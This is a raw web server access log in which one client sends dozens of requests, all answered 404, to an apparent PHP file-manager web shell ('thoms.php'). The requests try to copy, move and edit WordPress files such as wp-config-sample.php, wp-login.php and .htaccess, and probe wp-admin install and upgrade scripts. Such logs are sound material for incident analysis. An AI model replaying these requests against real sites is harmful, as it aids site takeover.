45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:23 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /ba-guo.com.tw/wp-admin/install.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Freadme.html&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /ba-guo.com.tw/wp-admin/update-core.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /ba-guo.com.tw/wp-admin/upgrade.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:24 -0400] "GET /ba-guo.com.tw/wp-admin/import.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:25 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Flocoy.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?edit=wp-login.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?edit=.htaccess&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:26 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:27 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:28 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
